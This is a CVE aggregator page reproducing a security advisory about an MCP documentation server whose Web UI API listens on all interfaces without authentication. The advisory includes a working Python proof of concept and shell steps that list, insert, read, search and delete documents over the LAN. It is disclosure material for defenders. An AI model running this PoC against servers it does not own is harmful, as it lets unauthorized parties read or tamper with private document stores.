CVE-2026-54504

HIGHPre-NVD 8.88.8
EchelonGraph scoreLOW confidence

This high-severity CVE scores 8.8 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
8.8
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 8.8Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

@andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default

Summary

@andrea9293/mcp-documentation-server v1.13.0 documents that a Web UI starts automatically on port 3080. However, the Web UI/API appears to bind to all network interfaces by default (*:3080 / 0.0.0.0:3080) instead of localhost-only, and its document-management API endpoints do not require authentication.

As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP.

The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.

Details

The README documents that the Web UI starts automatically and tells users to open:

http://localhost:3080

It also documents START_WEB_UI=true and WEB_PORT=3080 as the defaults.

The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.

In src/server.ts, the Web UI is started unless START_WEB_UI=false:

if (process.env.START_WEB_UI !== 'false') {
    initializeDocumentManager().then(manager => {
        return startWebServer(undefined, manager);
    }).then(() => {
        console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')');
    })...
}

In src/web-server.ts, the Express app appears to listen with only the port:

const server = app.listen(PORT, () => {
    console.log(\n  🌐 MCP Documentation Server - Web UI);
    console.log(  ────────────────────────────────────);
    console.log(  Local:   http://localhost:${PORT});
    console.log(  Network: http://0.0.0.0:${PORT}\n);
});

With Express/Node, app.listen(PORT) without a host argument binds to all interfaces. In my reproduction, this resulted in:

LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))

The exposed API includes document-admin operations such as:

GET    /api/documents
GET    /api/documents/:id
POST   /api/documents
POST   /api/search-all
DELETE /api/documents/:id
GET    /api/config

I did not send any Authorization header in the PoC requests, and all tested operations succeeded.

PoC

Tested on v1.13.0.

1. Build from source

cd ~/Desktop
mkdir -p docsrv_repro_from_scratch
cd docsrv_repro_from_scratch

git clone https://github.com/andrea9293/mcp-documentation-server.git cd mcp-documentation-server

git rev-parse HEAD npm install --no-audit --no-fund npm run build

ls -l dist/server.js node -p "require('./package.json').version"

Expected version:

1.13.0

2. Start the server with default Web UI behavior

Do not set START_WEB_UI=false.

rm -rf /tmp/docsrv_base
mkdir -p /tmp/docsrv_base

MCP_BASE_DIR=/tmp/docsrv_base \ WEB_PORT=3080 \ node dist/server.js \ /tmp/docsrv_stdout.log \ 2>/tmp/docsrv_stderr.log &

DOCSRV_PID=$! sleep 5

echo "DOCSRV_PID=$DOCSRV_PID" ps -p "$DOCSRV_PID" -o pid,stat,cmd

3. Confirm that the Web UI/API binds to all interfaces

ss -ltnp | grep ':3080' || true

Observed:

LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))

This indicates the service is not bound only to 127.0.0.1.

4. Confirm that the API is reachable through the LAN IP

LAN_IP=$(hostname -I | awk '{print $1}')
echo "LAN_IP=$LAN_IP"

curl -sS --max-time 5 "http://$LAN_IP:3080/api/config" echo

Observed:

LAN_IP=10.0.250.230
{"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"}

No authentication header was sent.

5. Full unauthenticated document-admin PoC

cat > /tmp/docsrv_unauth_poc.py <<'PY'
#!/usr/bin/env python3
import json
import sys
import urllib.request
import urllib.error

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080 BASE = f"http://{HOST}:{PORT}"

def req(method, path, body=None): data = json.dumps(body).encode() if body is not None else None headers = {"Content-Type": "application/json"} if body is not None else {} r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers) with urllib.request.urlopen(r, timeout=10) as resp: raw = resp.read().decode() try: return resp.status, json.loads(raw or "null") except Exception: return resp.status, raw

def main(): print(f"[poc] target = {BASE}") print("[poc] no Authorization header is sent")

status, config = req("GET", "/api/config") print(f"[0] config: HTTP {status}, {config}")

status, docs = req("GET", "/api/documents") print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}")

marker = "ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api" body = { "title": "network-inserted-test-document", "content": marker + "\nThis document was inserted through the unauthenticated network API.", "metadata": {"source": "unauth-network-poc"} }

status, added = req("POST", "/api/documents", body) print(f"[2] add document: HTTP {status}, response={added}")

doc_id = None if isinstance(added, dict): doc_id = added.get("id") or added.get("document", {}).get("id")

if not doc_id: status, docs = req("GET", "/api/documents") for d in docs: if d.get("title") == "network-inserted-test-document": doc_id = d.get("id") break

if not doc_id: raise RuntimeError("could not locate inserted document id")

print(f"[2] inserted id={doc_id}")

status, doc = req("GET", f"/api/documents/{doc_id}") content = doc.get("content", "") if isinstance(doc, dict) else str(doc) print(f"[3] read document: HTTP {status}, marker_present={marker in content}")

status, hits = req("POST", "/api/search-all", { "query": "ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted", "limit": 5 }) print(f"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}")

status, deleted = req("DELETE", f"/api/documents/{doc_id}") print(f"[5] delete document: HTTP {status}, response={deleted}")

print("[poc] DONE")

if __name__ == "__main__": main() PY

chmod +x /tmp/docsrv_unauth_poc.py

Run against localhost:

python3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080

Observed:

[poc] target = http://127.0.0.1:3080
[poc] no Authorization header is sent
[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}
[1] list documents: HTTP 200, count=0
[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}
[2] inserted id=ef13280d7441d5bb
[3] read document: HTTP 200, marker_present=True
[4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]"
[5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'}
[poc] DONE

Run the same PoC against the host's LAN IP:

LAN_IP=$(hostname -I | awk '{print $1}')
python3 /tmp/docsrv_unauth_poc.py "$LAN_IP" 3080

Observed:

[poc] target = http://10.0.250.230:3080
[poc] no Authorization header is sent
[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}
[1] list documents: HTTP 200, count=0
[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}
[2] inserted id=ef13280d7441d5bb
[3] read document: HTTP 200, marker_present=True
[4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]"
[5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'}
[poc] DONE

6. Cleanup

kill "$DOCSRV_PID" 2>/dev/null || true
fuser -k 3080/tcp 2>/dev/null || true
rm -rf /tmp/docsrv_base
rm -f /tmp/docsrv_unauth_poc.py
rm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log

Impact

This is a missing-authentication and unsafe-default network exposure issue for the Web UI/API.

A network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow:

  • reading document titles, previews, and full document contents;
  • searching across the entire document corpus;
  • inserting attacker-controlled documents into the corpus;
  • deleting documents;
  • tampering with the user's local knowledge base used by the MCP assistant.

This can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks.

This is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations.

A safer default would be to bind the Web UI/API to 127.0.0.1 by default, and require an explicit opt-in such as WEB_BIND_HOST=0.0.0.0 for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.

CVSS v3
8.8
EG Score
8.8(low)
EPSS
KEV
Not listed

Published

July 15, 2026

Last Modified

July 15, 2026

Vendor Advisories for CVE-2026-54504(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 1× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-15 23:54 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-54504?
CVE-2026-54504 is a high vulnerability published on July 15, 2026. @andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default Summary @andrea9293/mcp-documentation-server v1.13.0 documents that a Web UI starts automatically on port 3080. However, the Web UI/API appears to bind to all network interfaces by default…
When was CVE-2026-54504 disclosed?
CVE-2026-54504 was first published in the National Vulnerability Database on July 15, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-54504?
CVE-2026-54504 has a CVSS v4.0 base score of 8.8 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-54504?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-54504, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-54504

Explore →

Is Your Infrastructure Affected by CVE-2026-54504?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.